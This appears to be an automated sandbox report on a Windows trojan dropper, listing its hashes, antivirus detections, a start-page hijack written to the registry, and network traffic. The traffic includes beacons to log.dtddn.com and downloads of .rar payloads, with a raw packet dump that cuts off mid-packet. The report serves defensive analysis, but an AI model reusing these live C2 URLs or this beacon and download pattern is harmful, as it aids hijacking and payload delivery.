Analysis Date2014-11-19 00:33:12
MD516c53321eea815d8c72fd011a764dc17
SHA13c9e5d32f517db665c4d65fcf60f468cca5bd583

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: 716791944d8c86cffb03c89e68a23a9a sha1: 2dcdd4f9f857c467de313c3735a6fbe7e0a44963 size: 188416
Section.data md5: 620f0b67a91f7f74151bc5be745b7110 sha1: 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d size: 4096
Section.rsrc md5: 6bcafcf0be7dfe2157e6dcafa51ccff4 sha1: 1f810c6ce597e15a2e21ca55112fa39db88d7917 size: 8192
Timestamp2014-09-22 04:30:53
VersionInternalName: dbyxghgjcvnnqbv
FileVersion: 1.00
CompanyName: OXKOvTDH
ProductName: dbyxghgjcvnnqbv
ProductVersion: 1.00
OriginalFilename: dbyxghgjcvnnqbv.exe
PackerMicrosoft Visual Basic v5.0
PEhash2b68ff621f9c40fefc3ea9017f8eaad61c38495b
IMPhashe1e58633ae63cdb4228217573f9e09c5
AV360 SafeGen:Trojan.Heur.ZGY.6
AVAd-AwareGen:Trojan.Heur.ZGY.6
AVAlwil (avast)VBCrypt-CWL [Trj]
AVArcabit (arcavir)no_virus
AVAuthentiumW32/Trojan.MOSL-7240
AVAvira (antivir)TR/Dropper.Gen
AVBullGuardGen:Trojan.Heur.ZGY.6
AVCA (E-Trust Ino)no_virus
AVCAT (quickheal)Trojan.Generic.r3
AVClamAVno_virus
AVDr. Webno_virus
AVEmsisoftGen:Trojan.Heur.ZGY.6
AVEset (nod32)Win32/Paskod.A
AVFortinetW32/VBObfus.QT!tr
AVFrisk (f-prot)no_virus
AVF-SecureGen:Trojan.Heur.ZGY.6
AVGrisoft (avg)Win32/VBCrypt
AVIkarusTrojan.Win32.Dynamer
AVK7NetWorm ( 700000151 )
AVKasperskyTrojan.Win32.Generic
AVMalwareBytesno_virus
AVMcafeeObfuscated-FBW!16C53321EEA8
AVMicrosoft Security Essentialsno_virus
AVMicroWorld (escan)Gen:Trojan.Heur.ZGY.6
AVNormanGen:Trojan.Heur.ZGY.6
AVRisingno_virus
AVSophosMal/VBCheMan-A
AVSymantecno_virus
AVTrend MicroTROJ_VB.SMIS
AVVirusBlokAda (vba32)BScope.Trojan.Diple

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

RegistryHKEY_CURRENT_USER\Software\VB and VBA Program Settings\u2p\m0q\Edit ➝
3101\\x00
RegistryHKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\ ➝
C:\Program Files\Internet Explorer\IEXPLORE.EXE "http://www.skoda-china.com/"\\x00\\x00\\x006\\x009\\x00-\\x00A\\x002\\x00E\\x00A\\x00-\\x000\\x008\\x000\\x000\\x002\\x00B\\x003\\x000\\x003\\x000\\x009\\x00D\\x00}\\x00\\\x00s\\x00h\\x00e\\x00l\\x00l\\x00\\\x00O\\x00p\\x00e\\x00n\\x00H\\x00o\\x00m\\x00e\\x00P\\x00
RegistryHKEY_CURRENT_USER\Software\VB and VBA Program Settings\u2p\w2m\copin ➝
670421772451\\x00
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temp\95593.ini
Creates File\Device\Afd\Endpoint
Creates File\Device\Afd\AsyncConnectHlp
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temp\95593.ini
Creates ProcessC:\WINDOWS\System32\regini.exe "C:\Documents and Settings\Administrator\Local Settings\Temp\95593.ini"
Creates Mutexup3101
Winsock DNSdown.dtddn.com
Winsock DNSlog.dtddn.com
Winsock DNSdown.sz-guogeng.com
Winsock DNSdldir1.qq.com
Winsock DNSlnk1.dtddn.com
Winsock DNSlnk2.dtddn.com

Process
↳ C:\WINDOWS\System32\regini.exe "C:\Documents and Settings\Administrator\Local Settings\Temp\95593.ini"

RegistryHKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Start Page ➝
http://www.skoda-china.com/\\x00
RegistryHKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page ➝
http://www.skoda-china.com/\\x00

Network Details:

DNSlog.dtddn.com
Type: A
112.124.183.10
DNSlnk1.dtddn.com
Type: A
121.40.172.60
DNSlnk2.dtddn.com
Type: A
121.40.172.60
DNSdldir1.qq.com.cdngc.net
Type: A
174.35.56.144
DNSdldir1.qq.com.cdngc.net
Type: A
174.35.56.84
DNSdown.dtddn.com
Type: A
112.124.120.200
DNSdown.sz-guogeng.com
Type: A
112.124.120.200
DNSdldir1.qq.com
Type: A
HTTP GEThttp://log.dtddn.com/UpLog2/worklog.asp?Name1=3101%20A%20251&Info1=670421772451%2075109
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://log.dtddn.com/UpLog2/worklog.asp?Name1=3101%20A%20251&Info1=670421772451%2078484
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://log.dtddn.com/UpLog2/worklog.asp?Name1=3101%20A%20251&Info1=670421772451%2081546
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/101.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://log.dtddn.com/UpLog2/worklog.asp?Name1=3101%20Q2-Beg1&Info1=670421772451%201%200
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://down.dtddn.com/74.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://down.sz-guogeng.com/74.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://log.dtddn.com/UpLog2/worklog.asp?Name1=3101%20Q2-DownI&Info1=670421772451%201%200%202
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/4580.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/632.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Flows TCP192.168.1.1:1031 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1032 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1033 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1034 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1035 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1036 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1037 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1038 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1039 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1040 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1041 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1042 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1043 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1044 ➝ 174.35.56.144:80
Flows TCP192.168.1.1:1045 ➝ 174.35.56.144:80
Flows TCP192.168.1.1:1046 ➝ 174.35.56.144:80
Flows TCP192.168.1.1:1047 ➝ 174.35.56.144:80
Flows TCP192.168.1.1:1048 ➝ 112.124.120.200:80
Flows TCP192.168.1.1:1049 ➝ 174.35.56.144:80
Flows TCP192.168.1.1:1050 ➝ 174.35.56.144:80
Flows TCP192.168.1.1:1051 ➝ 174.35.56.144:80
Flows TCP192.168.1.1:1052 ➝ 112.124.120.200:80
Flows TCP192.168.1.1:1053 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1054 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1055 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1056 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1057 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1058 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1059 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1060 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1061 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1062 ➝ 121.40.172.60:7771

Raw Pcap
0x00000000 (00000)   47455420 2f55704c 6f67322f 776f726b   GET /UpLog2/work
0x00000010 (00016)   6c6f672e 6173703f 4e616d65 313d3331   log.asp?Name1=31
0x00000020 (00032)   30312532 30412532 30323531 26496e66   01%20A%20251&Inf
0x00000030 (00048)   6f313d36 37303432 31373732 34353125   o1=670421772451%
0x00000040 (00064)   32303735 31303920 48545450 2f312e31   2075109 HTTP/1.1
0x00000050 (00080)   0d0a4163 63657074 3a202a2f 2a0d0a55   ..Accept: */*..U
0x00000060 (00096)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000070 (00112)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000080 (00128)   6c653b20 57696e33 323b2057 696e4874   le; Win32; WinHt
0x00000090 (00144)   74702e57 696e4874 74705265 71756573   tp.WinHttpReques
0x000000a0 (00160)   742e3529 0d0a486f 73743a20 6c6f672e   t.5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f55704c 6f67322f 776f726b   GET /UpLog2/work
0x00000010 (00016)   6c6f672e 6173703f 4e616d65 313d3331   log.asp?Name1=31
0x00000020 (00032)   30312532 30412532 30323531 26496e66   01%20A%20251&Inf
0x00000030 (00048)   6f313d36 37303432 31373732 34353125   o1=670421772451%
0x00000040 (00064)   32303738 34383420 48545450 2f312e31   2078484 HTTP/1.1
0x00000050 (00080)   0d0a4163 63657074 3a202a2f 2a0d0a55   ..Accept: */*..U
0x00000060 (00096)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000070 (00112)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000080 (00128)   6c653b20 57696e33 323b2057 696e4874   le; Win32; WinHt
0x00000090 (00144)   74702e57 696e4874 74705265 71756573   tp.WinHttpReques
0x000000a0 (00160)   742e3529 0d0a486f 73743a20 6c6f672e   t.5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f55704c 6f67322f 776f726b   GET /UpLog2/work
0x00000010 (00016)   6c6f672e 6173703f 4e616d65 313d3331   log.asp?Name1=31
0x00000020 (00032)   30312532 30412532 30323531 26496e66   01%20A%20251&Inf
0x00000030 (00048)   6f313d36 37303432 31373732 34353125   o1=670421772451%
0x00000040 (00064)   32303831 35343620 48545450 2f312e31   2081546 HTTP/1.1
0x00000050 (00080)   0d0a4163 63657074 3a202a2f 2a0d0a55   ..Accept: */*..U
0x00000060 (00096)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000070 (00112)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000080 (00128)   6c653b20 57696e33 323b2057 696e4874   le; Win32; WinHt
0x00000090 (00144)   74702e57 696e4874 74705265 71756573   tp.WinHttpReques
0x000000a0 (00160)   742e3529 0d0a486f 73743a20 6c6f672e   t.5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f313031 2e726172   GET /lnk/101.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 312e6474 64646e2e   ost: lnk1.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0d0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 322e6474 64646e2e   ost: lnk2.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0d0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 312e6474 64646e2e   ost: lnk1.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0d0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 322e6474 64646e2e   ost: lnk2.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0d0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 312e6474 64646e2e   ost: lnk1.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0d0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 322e6474 64646e2e   ost: lnk2.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0d0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 312e6474 64646e2e   ost: lnk1.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0d0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 322e6474 64646e2e   ost: lnk2.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0d0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 312e6474 64646e2e   ost: lnk1.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0d0a486f 73743a20 6c6f672e   ......Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f55704c 6f67322f 776f726b   GET /UpLog2/work
0x00000010 (00016)   6c6f672e 6173703f 4e616d65 313d3331   log.asp?Name1=31
0x00000020 (00032)   30312532 3051322d 42656731 26496e66   01%20Q2-Beg1&Inf
0x00000030 (00048)   6f313d36 37303432 31373732 34353125   o1=670421772451%
0x00000040 (00064)   32303125 32303020 48545450 2f312e31   201%200 HTTP/1.1
0x00000050 (00080)   0d0a4163 63657074 3a202a2f 2a0d0a55   ..Accept: */*..U
0x00000060 (00096)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000070 (00112)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000080 (00128)   6c653b20 57696e33 323b2057 696e4874   le; Win32; WinHt
0x00000090 (00144)   74702e57 696e4874 74705265 71756573   tp.WinHttpReques
0x000000a0 (00160)   742e3529 0d0a486f 73743a20 6c6f672e   t.5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
